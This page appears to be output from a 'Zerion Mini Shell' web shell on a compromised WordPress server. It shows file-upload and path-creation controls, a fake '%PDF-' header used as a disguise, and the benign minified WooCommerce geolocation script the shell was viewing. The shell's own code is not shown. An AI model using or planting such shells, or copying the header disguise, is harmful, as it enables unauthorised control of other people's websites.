%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/ceaa/wp-content/plugins/woocommerce/assets/js/frontend/
Upload File :
Create Path :
Current File : /var/www/html/ceaa/wp-content/plugins/woocommerce/assets/js/frontend/geolocation.min.js

jQuery(function(e){var t=window.location.toString(),a=function(){wc_geolocation_params.hash&&e('a[href^="'+wc_geolocation_params.home_url+'"]:not(a[href*="v="]), a[href^="/"]:not(a[href*="v="])').each(function(){var a=e(this),o=a.attr("href"),t=o.split("#");o=0<(o=t[0]).indexOf("?")?o+"&v="+wc_geolocation_params.hash:o+"?v="+wc_geolocation_params.hash,"undefined"!=typeof t[1]&&null!==t[1]&&(o=o+"#"+t[1]),a.attr("href",o)})},o={url:wc_geolocation_params.wc_ajax_url.toString().replace("%%endpoint%%","get_customer_location"),type:"GET",success:function(a){var o;a.success&&a.data.hash&&a.data.hash!==wc_geolocation_params.hash&&(o=a.data.hash,t=0<t.indexOf("?v=")||0<t.indexOf("&v=")?t.replace(/v=[^&]+/,"v="+o):0<t.indexOf("?")?t+"&v="+o:t+"?v="+o,window.location=t)}};"1"===wc_geolocation_params.is_available&&(e.ajax(o),e("form").each(function(){var a=e(this),o=a.attr("method");if(o&&"get"===o.toLowerCase())a.append('<input type="hidden" name="v" value="'+wc_geolocation_params.hash+'" />');else{var t=a.attr("action");t&&(0<t.indexOf("?")?a.attr("action",t+"&v="+wc_geolocation_params.hash):a.attr("action",t+"?v="+wc_geolocation_params.hash))}}),a()),e(document.body).on("added_to_cart",function(){a()})});

Zerion Mini Shell 1.0